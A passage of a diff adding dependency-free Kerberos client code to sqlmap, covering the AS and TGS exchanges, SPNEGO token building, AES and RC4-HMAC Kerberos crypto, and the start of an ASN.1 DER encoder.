||||
|
||||
def _principalName(nameType, components):
|
||||
return der.sequence(
|
||||
der.tagged(0, der.integer(nameType)),
|
||||
der.tagged(1, der.sequenceOf([der.generalString(_) for _ in components])),
|
||||
)
|
||||
|
||||
def _encryptedData(etype, cipher, kvno=None):
|
||||
parts = [der.tagged(0, der.integer(etype))]
|
||||
if kvno is not None:
|
||||
parts.append(der.tagged(1, der.integer(kvno)))
|
||||
parts.append(der.tagged(2, der.octetString(cipher)))
|
||||
return der.sequence(*parts)
|
||||
|
||||
# ---- KDC transport (RFC 4120 section 7.2.2: 4-byte length-prefixed over TCP) ----------------------
|
||||
def _recvExactly(sock, count):
|
||||
buf = b""
|
||||
while len(buf) < count:
|
||||
chunk = sock.recv(count - len(buf))
|
||||
if not chunk:
|
||||
raise KerberosError(-1, "connection closed by KDC")
|
||||
buf += chunk
|
||||
return buf
|
||||
|
||||
def _sendReceive(host, port, request):
|
||||
sock = socket.create_connection((host, port), timeout=KDC_TIMEOUT)
|
||||
try:
|
||||
sock.sendall(struct.pack(">I", len(request)) + request)
|
||||
length = struct.unpack(">I", _recvExactly(sock, 4))[0]
|
||||
if length > MAX_KDC_RESPONSE:
|
||||
raise KerberosError(-1, "KDC reply length %d exceeds the sane maximum" % length)
|
||||
return _recvExactly(sock, length)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
def _raiseIfError(message):
|
||||
tag, content, _ = der.peel(message)
|
||||
if tag == der.applicationTag(KRB_ERROR):
|
||||
fields = _fields(der.peel(content)[1])
|
||||
raise KerberosError(_expInteger(fields[6]) if 6 in fields else -1,
|
||||
_expString(fields[11]) if 11 in fields else None)
|
||||
return tag, content
|
||||
|
||||
def _etypeHints(methodData):
|
||||
"""Parse a METHOD-DATA TLV (SEQUENCE OF PA-DATA) into PA-ETYPE-INFO2 hints as
|
||||
{etype: (salt, iterations)}, telling us which etype/salt/s2kparams the KDC expects for the
|
||||
long-term key. The first entry for an etype wins; a malformed hint yields none (so the caller
|
||||
falls back to its defaults) rather than raising."""
|
||||
|
||||
hints = {}
|
||||
try:
|
||||
for _, paData in der.children(der.peel(methodData)[1]):
|
||||
pa = _fields(paData)
|
||||
if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2:
|
||||
info = der.peel(pa[2])[1] # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry)
|
||||
for _, entry in der.children(der.peel(info)[1]):
|
||||
fields = _fields(entry)
|
||||
salt = _expOctet(fields[1]) if 1 in fields else None # opaque octets for string2key (RFC 3961), not UTF-8
|
||||
iterations = None
|
||||
if 2 in fields:
|
||||
raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES
|
||||
iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None
|
||||
hints.setdefault(_expInteger(fields[0]), (salt, iterations))
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
hints.clear() # malformed hint -> fall back to the default etype/salt
|
||||
return hints
|
||||
|
||||
def _preauthHints(errorFields):
|
||||
"""The etype hints carried by a KDC_ERR_PREAUTH_REQUIRED error's e-data (best effort)."""
|
||||
|
||||
if 12 not in errorFields: # no e-data
|
||||
return {}
|
||||
try:
|
||||
return _etypeHints(der.peel(errorFields[12])[1]) # e-data OCTET STRING -> METHOD-DATA
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
return {}
|
||||
|
||||
def _validatedIterations(iterations):
|
||||
"""Refuse a string-to-key work factor outside local policy. The hint is unauthenticated, so a
|
||||
spoofed count could either cheapen an offline attack on the PA-ENC-TIMESTAMP we are about to send
|
||||
or stall the scan for hours; failing loudly beats doing either silently."""
|
||||
|
||||
if iterations is not None and not MIN_PBKDF2_ITERATIONS <= iterations <= MAX_PBKDF2_ITERATIONS:
|
||||
raise KerberosError(-1, "KDC advertised an out-of-policy string-to-key iteration count (%d)" % iterations)
|
||||
return iterations
|
||||
|
||||
def _hintFor(hints, etype, salt, chosenSalt):
|
||||
"""Apply the hint for 'etype': its salt (unless the caller pinned one) and its work factor."""
|
||||
|
||||
advertisedSalt, iterations = hints.get(etype, (None, None))
|
||||
if salt is None and advertisedSalt is not None:
|
||||
chosenSalt = advertisedSalt
|
||||
return chosenSalt, _validatedIterations(iterations)
|
||||
|
||||
def _replyEtype(response):
|
||||
"""Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key)."""
|
||||
|
||||
try:
|
||||
rep = _fields(der.peel(der.peel(response)[1])[1])
|
||||
return _expInteger(_expFields(rep[6])[0])
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
raise KerberosError(-1, "malformed KDC reply")
|
||||
|
||||
def _parseRep(response, key, usage, expectedNonce, expectedType):
|
||||
"""Parse an AS-REP / TGS-REP: decrypt its enc-part with 'key' under 'usage', returning the
|
||||
opaque ticket and the freshly issued session key. The two replies are structurally identical.
|
||||
The reply's application tag MUST match the expected message type, and the nonce carried in the
|
||||
(integrity-protected) enc-part MUST equal the request nonce (RFC 4120)."""
|
||||
|
||||
try: # any structural defect in a hostile/truncated reply -> KerberosError
|
||||
tag, repContent = _raiseIfError(response)
|
||||
if tag != der.applicationTag(expectedType):
|
||||
raise KerberosError(-1, "unexpected reply message type (tag 0x%02x)" % tag)
|
||||
rep = _fields(der.peel(repContent)[1])
|
||||
encData = _expFields(rep[6]) # enc-part (EncryptedData)
|
||||
repEtype = _expInteger(encData[0])
|
||||
try:
|
||||
encRepPart = _enctype(repEtype).decrypt(key, usage, _expOctet(encData[2]))
|
||||
except ValueError: # HMAC mismatch -> we hold the wrong long-term key
|
||||
raise KerberosError(-1, "reply decryption failed (wrong password or salt)")
|
||||
|
||||
# Enc*RepPart = [APPLICATION 25/26] EncKDCRepPart ; key is field [0], nonce is field [2]
|
||||
encKdcRep = _fields(der.peel(der.peel(encRepPart)[1])[1])
|
||||
if _expInteger(encKdcRep[2]) != expectedNonce:
|
||||
raise KerberosError(-1, "reply nonce does not match the request (possible replay)")
|
||||
keyFields = _expFields(encKdcRep[0])
|
||||
|
||||
return {
|
||||
"ticket": bytes(rep[5]),
|
||||
"sessionKey": _expOctet(keyFields[1]),
|
||||
"sessionKeyType": _expInteger(keyFields[0]),
|
||||
"etype": repEtype,
|
||||
"crealm": _expString(rep[3]),
|
||||
# EncKDCRepPart endtime [7]; a scan can outlive the ticket, so the caller can re-fetch
|
||||
"endtime": _expTime(encKdcRep[7]) if 7 in encKdcRep else None,
|
||||
}
|
||||
except (KeyError, IndexError, ValueError, struct.error):
|
||||
raise KerberosError(-1, "malformed KDC reply")
|
||||
|
||||
def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=None):
|
||||
parts = [der.tagged(0, der.bitString(b"\x00\x00\x00\x00"))] # kdc-options
|
||||
if cnameComponents is not None:
|
||||
parts.append(der.tagged(1, _principalName(NT_PRINCIPAL, cnameComponents))) # cname (AS only)
|
||||
parts.append(der.tagged(2, der.generalString(realm))) # realm
|
||||
parts.append(der.tagged(3, _principalName(snameType, snameComponents))) # sname
|
||||
parts.append(der.tagged(5, der.generalizedTime(_kerberosTime(offsetSeconds=TICKET_LIFETIME_SECONDS)))) # till
|
||||
parts.append(der.tagged(7, der.integer(nonce))) # nonce
|
||||
parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes]))) # etype
|
||||
return der.sequence(*parts)
|
||||
|
||||
def _authenticator(crealm, cnameComponents, cksum=None, seqNumber=None):
|
||||
ctime, cusec = _timestamp() # both from one clock reading, never repeating
|
||||
parts = [
|
||||
der.tagged(0, der.integer(PVNO)),
|
||||
der.tagged(1, der.generalString(crealm)),
|
||||
der.tagged(2, _principalName(NT_PRINCIPAL, cnameComponents)),
|
||||
]
|
||||
if cksum is not None:
|
||||
parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])),
|
||||
der.tagged(1, der.octetString(cksum[1])))))
|
||||
parts.append(der.tagged(4, der.integer(cusec)))
|
||||
parts.append(der.tagged(5, der.generalizedTime(ctime)))
|
||||
if seqNumber is not None: # [7] seq-number, expected of a GSS AP-REQ
|
||||
parts.append(der.tagged(7, der.integer(seqNumber)))
|
||||
return der.application(2, der.sequence(*parts))
|
||||
|
||||
def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"):
|
||||
return der.application(AP_REQ, der.sequence(
|
||||
der.tagged(0, der.integer(PVNO)),
|
||||
der.tagged(1, der.integer(AP_REQ)),
|
||||
der.tagged(2, der.bitString(apOptions)),
|
||||
der.tagged(3, ticket), # raw Ticket TLV (already [APPLICATION 1])
|
||||
der.tagged(4, _encryptedData(etype, encAuthenticator)),
|
||||
))
|
||||
|
||||
# ---- AS exchange (password -> TGT) ----------------------------------------------------------------
|
||||
def _asReq(realm, username, etypes, nonce, padata=None):
|
||||
reqBody = _reqBody(realm, NT_SRV_INST, ["krbtgt", realm], etypes, nonce, cnameComponents=[username])
|
||||
parts = [der.tagged(1, der.integer(PVNO)), der.tagged(2, der.integer(AS_REQ))]
|
||||
if padata is not None:
|
||||
parts.append(der.tagged(3, der.sequenceOf([padata])))
|
||||
parts.append(der.tagged(4, reqBody))
|
||||
return der.application(AS_REQ, der.sequence(*parts))
|
||||
|
||||
def _selectEtype(etypes, hints):
|
||||
"""
|
||||
The etype getTGT commits to after a preauth-required hint: OUR first offered etype that is also
|
||||
KDC-hinted and supported, falling back to our top preference. The unauthenticated hint can only
|
||||
reorder WITHIN what we offered - it can never pull us onto an etype we did not offer (anti-downgrade).
|
||||
"""
|
||||
|
||||
return next((_ for _ in etypes if _ in hints and _ in ENCTYPES), etypes[0])
|
||||
|
||||
def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES, salt=None):
|
||||
"""Run the AS exchange and return the TGT and its session key.
|
||||
|
||||
Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected
|
||||
etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals
|
||||
work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns
|
||||
{'ticket': <raw Ticket TLV>, 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str,
|
||||
'endtime': epoch seconds}. 'realm' is used exactly as given (RFC 4120 realms are case-sensitive).
|
||||
"""
|
||||
|
||||
chosenSalt = salt if salt is not None else realm + username
|
||||
|
||||
# 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright)
|
||||
nonce = _nonce()
|
||||
response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce))
|
||||
tag = der.peel(response)[0]
|
||||
|
||||
if tag == der.applicationTag(AS_REP): # KDC issued the ticket without pre-auth
|
||||
etype = _replyEtype(response) # derive the key for the etype the KDC actually used
|
||||
rep = _fields(der.peel(der.peel(response)[1])[1])
|
||||
# the reply's own padata can still carry the salt/iterations of a non-default principal
|
||||
chosenSalt, iterations = _hintFor(_etypeHints(rep[2]) if 2 in rep else {}, etype, salt, chosenSalt)
|
||||
clientKey = _enctype(etype).string2key(password, chosenSalt, iterations)
|
||||
return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP)
|
||||
|
||||
etype, iterations = etypes[0], None
|
||||
if tag == der.applicationTag(KRB_ERROR):
|
||||
errorFields = _fields(der.peel(der.peel(response)[1])[1])
|
||||
code = _expInteger(errorFields[6]) if 6 in errorFields else -1
|
||||
if code != KDC_ERR_PREAUTH_REQUIRED:
|
||||
raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None)
|
||||
# the hint is unauthenticated, so it may only choose among the etypes we actually offered, and
|
||||
# in *our* order of preference rather than the KDC's (otherwise it could force a downgrade)
|
||||
hints = _preauthHints(errorFields)
|
||||
etype = _selectEtype(etypes, hints)
|
||||
chosenSalt, iterations = _hintFor(hints, etype, salt, chosenSalt)
|
||||
|
||||
enc = _enctype(etype)
|
||||
clientKey = enc.string2key(password, chosenSalt, iterations)
|
||||
|
||||
# 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt
|
||||
patime, pausec = _timestamp()
|
||||
paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(patime)), der.tagged(1, der.integer(pausec)))
|
||||
cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc)
|
||||
paData = der.sequence(
|
||||
der.tagged(1, der.integer(PA_ENC_TIMESTAMP)),
|
||||
der.tagged(2, der.octetString(_encryptedData(etype, cipher))),
|
||||
)
|
||||
nonce = _nonce()
|
||||
response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce, padata=paData))
|
||||
return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP)
|
||||
|
||||
# ---- TGS exchange (TGT -> service ticket) ---------------------------------------------------------
|
||||
def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES):
|
||||
"""Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service.
|
||||
|
||||
Returns the same shape as getTGT (the 'ticket' is now the service ticket). Cross-realm referrals
|
||||
are not followed, so 'serviceComponents' must name a service inside 'realm'.
|
||||
"""
|
||||
|
||||
enc = _enctype(tgt["sessionKeyType"])
|
||||
nonce = _nonce()
|
||||
reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce)
|
||||
|
||||
cksum = (enc.cksumtype, enc.checksum(tgt["sessionKey"], USAGE_TGS_REQ_AUTH_CKSUM, reqBody))
|
||||
authenticator = _authenticator(realm, [username], cksum=cksum)
|
||||
encAuth = enc.encrypt(tgt["sessionKey"], USAGE_TGS_REQ_AUTH, authenticator)
|
||||
apReq = _apReq(tgt["ticket"], encAuth, tgt["sessionKeyType"])
|
||||
|
||||
paTgs = der.sequence(der.tagged(1, der.integer(PA_TGS_REQ)), der.tagged(2, der.octetString(apReq)))
|
||||
tgsReq = der.application(TGS_REQ, der.sequence(
|
||||
der.tagged(1, der.integer(PVNO)),
|
||||
der.tagged(2, der.integer(TGS_REQ)),
|
||||
der.tagged(3, der.sequenceOf([paTgs])),
|
||||
der.tagged(4, reqBody),
|
||||
))
|
||||
|
||||
return _parseRep(_sendReceive(kdcHost, kdcPort, tgsReq), tgt["sessionKey"], USAGE_TGS_REP_ENCPART, nonce, TGS_REP)
|
||||
|
||||
# ---- SPNEGO "Negotiate" token (cached service ticket -> ready-to-send HTTP token) -----------------
|
||||
def spnegoFromTicket(service, realm, username):
|
||||
"""Build a fresh SPNEGO token from an already-obtained service ticket (no KDC round-trip). Each
|
||||
call produces a new AP-REQ authenticator, as replay caches require, so a cached ticket can back
|
||||
every request of a scan cheaply."""
|
||||
|
||||
enc = _enctype(service["sessionKeyType"])
|
||||
gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("<I", 16) + b"\x00" * 16 + struct.pack("<I", GSS_CHECKSUM_FLAGS))
|
||||
# seq-number is expected of the GSS mechanism's initial AP-REQ (RFC 4121), so always send one
|
||||
authenticator = _authenticator(realm, [username], cksum=gssChecksum, seqNumber=_nonce())
|
||||
encAuth = enc.encrypt(service["sessionKey"], USAGE_AP_REQ_AUTH, authenticator)
|
||||
return spnego.negTokenInit(_apReq(service["ticket"], encAuth, service["sessionKeyType"]))
|
||||
@@ -0,0 +1,263 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free Kerberos "simplified profile" crypto (RFC 3961) for the AES-CTS-HMAC-SHA1-96 etypes
|
||||
# (RFC 3962: aes128-cts-hmac-sha1-96 = etype 17, aes256-cts-hmac-sha1-96 = etype 18), built on the
|
||||
# pure-Python AES core. Provides n-fold, DK/DR key derivation, string-to-key (PBKDF2-HMAC-SHA1) and
|
||||
# authenticated encrypt/decrypt. Validated against the RFC 3961 A / RFC 3962 B test vectors.
|
||||
# Python 2.7 / 3.x.
|
||||
|
||||
import binascii
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
import struct
|
||||
|
||||
from extra.kerberos.aes import AES, _xor # _xor reused (no second copy) from the AES core
|
||||
from lib.core.decorators import cachedmethod
|
||||
from lib.request.ntlm import _md4 # proven RFC 1320 MD4 (reused, not re-derived)
|
||||
|
||||
# RFC 3962 string-to-key default work factor when the KDC advertises no explicit count
|
||||
DEFAULT_PBKDF2_ITERATIONS = 4096
|
||||
|
||||
def _to_bytes(value):
|
||||
return value if isinstance(value, bytes) else value.encode("utf-8")
|
||||
|
||||
def _b2i(data):
|
||||
data = bytearray(data)
|
||||
return int(binascii.hexlify(bytes(data)), 16) if data else 0
|
||||
|
||||
def _i2b(n, length):
|
||||
if length <= 0:
|
||||
return bytearray()
|
||||
return bytearray(binascii.unhexlify(("%0*x" % (length * 2, n))[-length * 2:]))
|
||||
|
||||
def _eq(a, b):
|
||||
return hmac.compare_digest(bytes(a), bytes(b)) if hasattr(hmac, "compare_digest") else (bytes(a) == bytes(b))
|
||||
|
||||
def _pbkdf2(password, salt, iterations, dklen):
|
||||
"""PBKDF2-HMAC-SHA1. Uses the stdlib primitive when present, with an RFC 2898 fallback for the
|
||||
pre-2.7.8 interpreters that lack hashlib.pbkdf2_hmac."""
|
||||
|
||||
if hasattr(hashlib, "pbkdf2_hmac"):
|
||||
return hashlib.pbkdf2_hmac("sha1", password, salt, iterations, dklen)
|
||||
|
||||
out = bytearray()
|
||||
block = 1
|
||||
while len(out) < dklen:
|
||||
u = hmac.new(password, salt + struct.pack(">I", block), hashlib.sha1).digest()
|
||||
acc = bytearray(u)
|
||||
for _ in range(iterations - 1):
|
||||
u = hmac.new(password, u, hashlib.sha1).digest()
|
||||
acc = bytearray(x ^ y for x, y in zip(acc, bytearray(u)))
|
||||
out += acc
|
||||
block += 1
|
||||
return bytes(out[:dklen])
|
||||
|
||||
def _rotate_right(data, nbits):
|
||||
"""Rotate a byte string right by 'nbits' bits, preserving its length."""
|
||||
|
||||
data = bytearray(data)
|
||||
if not data:
|
||||
return data
|
||||
total = len(data) * 8
|
||||
nbits %= total
|
||||
value = ((_b2i(data) >> nbits) | (_b2i(data) << (total - nbits))) & ((1 << total) - 1)
|
||||
return _i2b(value, len(data))
|
||||
|
||||
def nfold(data, nbytes):
|
||||
"""RFC 3961 n-fold: spread 'data' over 'nbytes' bytes via 13-bit rotated copies summed with an
|
||||
end-around carry (ones-complement addition)."""
|
||||
|
||||
data = bytearray(data)
|
||||
|
||||
def gcd(a, b):
|
||||
while b:
|
||||
a, b = b, a % b
|
||||
return a
|
||||
|
||||
lcm = len(data) * nbytes // gcd(len(data), nbytes)
|
||||
|
||||
buf = bytearray()
|
||||
rotation = 0
|
||||
while len(buf) < lcm:
|
||||
buf += _rotate_right(data, rotation)
|
||||
rotation += 13
|
||||
|
||||
bits = 8 * nbytes
|
||||
mask = (1 << bits) - 1
|
||||
acc = sum(_b2i(buf[off:off + nbytes]) for off in range(0, lcm, nbytes))
|
||||
while acc > mask:
|
||||
acc = (acc & mask) + (acc >> bits)
|
||||
return bytes(_i2b(acc, nbytes))
|
||||
|
||||
class AESEnctype(object):
|
||||
"""AES-CTS-HMAC-SHA1-96 simplified-profile enctype (RFC 3962). keysize 16 => etype 17, 32 => 18."""
|
||||
|
||||
blocksize = 16
|
||||
macsize = 12
|
||||
|
||||
def __init__(self, keysize):
|
||||
self.keysize = keysize
|
||||
self.cksumtype = 16 if keysize == 32 else 15 # hmac-sha1-96-aes256 / -aes128
|
||||
|
||||
def checksum(self, key, usage, data):
|
||||
"""Keyed checksum (RFC 3961 get_mic): HMAC-SHA1-96 under the checksum key DK(key, usage|0x99)."""
|
||||
|
||||
kc = self.dk(key, struct.pack(">IB", usage, 0x99))
|
||||
return hmac.new(kc, data, hashlib.sha1).digest()[:self.macsize]
|
||||
|
||||
# --- key schedule -------------------------------------------------------------------------------
|
||||
def _dr(self, key, constant):
|
||||
"""RFC 3961 DR: iterate the single-block cipher over the (n-folded) constant to seedsize."""
|
||||
|
||||
aes = AES(key)
|
||||
block = nfold(constant, self.blocksize)
|
||||
out = bytearray()
|
||||
while len(out) < self.keysize:
|
||||
block = aes.encryptBlock(block) # single 16-byte block => CBC(iv=0) == ECB
|
||||
out += bytearray(block)
|
||||
return bytes(out[:self.keysize])
|
||||
|
||||
@cachedmethod
|
||||
def dk(self, key, constant):
|
||||
"""RFC 3961 DK = random-to-key(DR(...)); random-to-key is the identity for AES.
|
||||
|
||||
Cached: it is a pure function of (key, constant), while a scan mints an authenticator per
|
||||
request from the same handful of long-lived keys, so the pure-Python DR would otherwise be
|
||||
recomputed for every single one."""
|
||||
|
||||
return self._dr(key, constant)
|
||||
|
||||
def string2key(self, password, salt, iterations=None):
|
||||
"""RFC 3962 string-to-key: DK(PBKDF2-HMAC-SHA1(password, salt), "kerberos")."""
|
||||
|
||||
iterations = iterations or DEFAULT_PBKDF2_ITERATIONS
|
||||
tkey = _pbkdf2(_to_bytes(password), _to_bytes(salt), iterations, self.keysize)
|
||||
return self.dk(tkey, b"kerberos")
|
||||
|
||||
# --- CBC ciphertext stealing (RFC 3962, CS3: always swap the final two blocks) ------------------
|
||||
def _basicEncrypt(self, key, data):
|
||||
aes = AES(key)
|
||||
padded = data + b"\x00" * ((-len(data)) % self.blocksize)
|
||||
ct = aes.cbcEncrypt(b"\x00" * self.blocksize, padded)
|
||||
if len(data) > self.blocksize:
|
||||
lastlen = len(data) % self.blocksize or self.blocksize
|
||||
ct = ct[:-2 * self.blocksize] + ct[-self.blocksize:] + ct[-2 * self.blocksize:-self.blocksize][:lastlen]
|
||||
return ct
|
||||
|
||||
def _basicDecrypt(self, key, data):
|
||||
aes = AES(key)
|
||||
if len(data) == self.blocksize:
|
||||
return aes.decryptBlock(data)
|
||||
|
||||
blocks = [bytearray(data[p:p + self.blocksize]) for p in range(0, len(data), self.blocksize)]
|
||||
lastlen = len(blocks[-1])
|
||||
prev = bytearray(self.blocksize)
|
||||
out = bytearray()
|
||||
for block in blocks[:-2]:
|
||||
out += bytearray(_xor(aes.decryptBlock(bytes(block)), prev))
|
||||
prev = block
|
||||
|
||||
decrypted = bytearray(aes.decryptBlock(bytes(blocks[-2])))
|
||||
lastPlain = _xor(decrypted[:lastlen], blocks[-1])
|
||||
omitted = decrypted[lastlen:]
|
||||
secondLast = _xor(aes.decryptBlock(bytes(blocks[-1] + omitted)), prev)
|
||||
return bytes(out) + secondLast + lastPlain
|
||||
|
||||
# --- authenticated encryption (RFC 3961 section 5.3) --------------------------------------------
|
||||
def _keys(self, key, usage):
|
||||
ke = self.dk(key, struct.pack(">IB", usage, 0xAA))
|
||||
ki = self.dk(key, struct.pack(">IB", usage, 0x55))
|
||||
return ke, ki
|
||||
|
||||
def encrypt(self, key, usage, plaintext, confounder=None):
|
||||
ke, ki = self._keys(key, usage)
|
||||
if confounder is None:
|
||||
confounder = os.urandom(self.blocksize)
|
||||
basic = confounder + plaintext
|
||||
return self._basicEncrypt(ke, basic) + hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]
|
||||
|
||||
def decrypt(self, key, usage, ciphertext):
|
||||
if len(ciphertext) < self.blocksize + self.macsize: # confounder block + HMAC; guards a hostile short reply
|
||||
raise ValueError("Kerberos ciphertext too short")
|
||||
ke, ki = self._keys(key, usage)
|
||||
ct, mac = ciphertext[:-self.macsize], ciphertext[-self.macsize:]
|
||||
basic = self._basicDecrypt(ke, ct)
|
||||
if not _eq(mac, hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]):
|
||||
raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)")
|
||||
return basic[self.blocksize:]
|
||||
|
||||
def _rc4(key, data):
|
||||
"""RC4 (ARCFOUR) stream cipher."""
|
||||
|
||||
key, data = bytearray(key), bytearray(data)
|
||||
if not key:
|
||||
raise ValueError("RC4 requires a non-empty key")
|
||||
s = list(range(256))
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + s[i] + key[i % len(key)]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
|
||||
out = bytearray(len(data))
|
||||
i = j = 0
|
||||
for n in range(len(data)):
|
||||
i = (i + 1) & 0xff
|
||||
j = (j + s[i]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
out[n] = data[n] ^ s[(s[i] + s[j]) & 0xff]
|
||||
return bytes(out)
|
||||
|
||||
class RC4Enctype(object):
|
||||
"""rc4-hmac (etype 23, RFC 4757). The long-term key is the NT hash MD4(UTF-16LE(password)); the
|
||||
salt and iteration count are unused. Legacy, but still enabled in many AD environments."""
|
||||
|
||||
keysize = 16
|
||||
cksumtype = -138 # hmac-md5
|
||||
|
||||
def string2key(self, password, salt=None, iterations=None):
|
||||
# the password is text; encode it UTF-16LE (in py2 a str is bytes, so decode to text first)
|
||||
if isinstance(password, bytes):
|
||||
password = password.decode("utf-8")
|
||||
return _md4(password.encode("utf-16-le"))
|
||||
|
||||
@staticmethod
|
||||
def _usage(usage):
|
||||
# RFC 4757 section 3: a couple of Kerberos usages map to Microsoft-specific values (per the
|
||||
# published errata, usage 9 is NOT folded into 8 - only 3->8 and 23->13 apply)
|
||||
return struct.pack("<I", {3: 8, 23: 13}.get(usage, usage))
|
||||
|
||||
def encrypt(self, key, usage, plaintext, confounder=None):
|
||||
if confounder is None:
|
||||
confounder = os.urandom(8)
|
||||
ki = hmac.new(key, self._usage(usage), hashlib.md5).digest()
|
||||
cksum = hmac.new(ki, confounder + plaintext, hashlib.md5).digest()
|
||||
ke = hmac.new(ki, cksum, hashlib.md5).digest()
|
||||
return cksum + _rc4(ke, confounder + plaintext)
|
||||
|
||||
def decrypt(self, key, usage, ciphertext):
|
||||
if len(ciphertext) < 24:
|
||||
raise ValueError("rc4-hmac ciphertext too short")
|
||||
cksum, data = ciphertext[:16], ciphertext[16:]
|
||||
ki = hmac.new(key, self._usage(usage), hashlib.md5).digest()
|
||||
ke = hmac.new(ki, cksum, hashlib.md5).digest()
|
||||
plaintext = _rc4(ke, data)
|
||||
if not _eq(cksum, hmac.new(ki, plaintext, hashlib.md5).digest()):
|
||||
raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)")
|
||||
return plaintext[8:] # strip the 8-byte confounder
|
||||
|
||||
def checksum(self, key, usage, data):
|
||||
ksign = hmac.new(key, b"signaturekey\x00", hashlib.md5).digest()
|
||||
return hmac.new(ksign, hashlib.md5(self._usage(usage) + bytes(data)).digest(), hashlib.md5).digest()
|
||||
|
||||
# etype number -> enctype implementation
|
||||
ENCTYPES = {
|
||||
17: AESEnctype(16),
|
||||
18: AESEnctype(32),
|
||||
23: RC4Enctype(),
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Minimal, dependency-free ASN.1 DER codec covering exactly the constructs Kerberos (RFC 4120) uses:
|
||||
# INTEGER, OCTET STRING, GeneralString, GeneralizedTime, BIT STRING, SEQUENCE / SEQUENCE OF, EXPLICIT
|
||||
# context tags [n] and [APPLICATION n]. All Kerberos tag numbers are <= 30, so only the low-tag-number
|
||||
# form is needed. Encoders return bytes; decoders accept bytes/bytearray. Python 2.7 / 3.x.
|
||||
|
||||
# universal tag bytes
|
||||
INTEGER = 0x02
|
||||
BIT_STRING = 0x03
|
||||
OCTET_STRING = 0x04
|
||||
GENERAL_STRING = 0x1b
|
||||
GENERALIZED_TIME = 0x18
|
||||
SEQUENCE = 0x30 # 0x10 | constructed(0x20)
|
||||
|
||||
def _encodeLength(length):
|
||||
if length < 0x80:
|
||||
return bytearray([length])
|
||||
out = bytearray()
|
||||
while length:
|
||||
out.insert(0, length & 0xff)
|
||||
length >>= 8
|
||||
return bytearray([0x80 | len(out)]) + out
|
||||
|
||||
def _tlv(tag, value):
|
||||
value = bytearray(value)
|
||||
return bytes(bytearray([tag]) + _encodeLength(len(value)) + value)
|
||||
|
||||
# ---- context / application tags (EXPLICIT) --------------------------------------------------------
|
||||
def contextTag(number):
|
||||
return 0x80 | 0x20 | number # context-specific, constructed
|
||||
|
||||
def applicationTag(number):
|
||||
return 0x40 | 0x20 | number # application, constructed
|
||||
|
||||
def tagged(number, innerTLV):
|
||||
"""EXPLICIT [n] wrapper around an already-encoded inner TLV."""
|
||||
|
||||
return _tlv(contextTag(number), innerTLV)
|
||||
|
||||
def application(number, innerTLV):
|
||||
"""[APPLICATION n] wrapper around an already-encoded inner TLV."""
|
||||
|
||||
return _tlv(applicationTag(number), innerTLV)
|
||||
|
||||
# ---- primitive encoders ---------------------------------------------------------------------------
|
||||
def integer(value):
|
||||
content = bytearray()
|
||||
if value == 0:
|
||||
content = bytearray([0])
|
||||
elif value > 0:
|
||||
n = value
|
||||
while n:
|
||||
content.insert(0, n & 0xff)
|
||||
n >>= 8
|
||||
if content[0] & 0x80: # keep the sign bit clear for a positive value
|
||||
content.insert(0, 0x00)
|
||||
else:
|
||||
n = value
|
||||
while True:
|
||||
content.insert(0, n & 0xff)
|
||||
n >>= 8
|
||||
if n == -1 and (content[0] & 0x80):
|
||||
break
|
||||
return _tlv(INTEGER, content)
|
||||
|
||||
def octetString(value):
|
||||
return _tlv(OCTET_STRING, value)
|
||||
|
||||
def generalString(value):
|
||||
return _tlv(GENERAL_STRING, value if isinstance(value, bytes) else value.encode("utf-8"))
|
||||
|
||||
def generalizedTime(value):
|
||||
"""'value' is a 'YYYYMMDDHHMMSSZ' UTC string."""
|
||||
|
||||
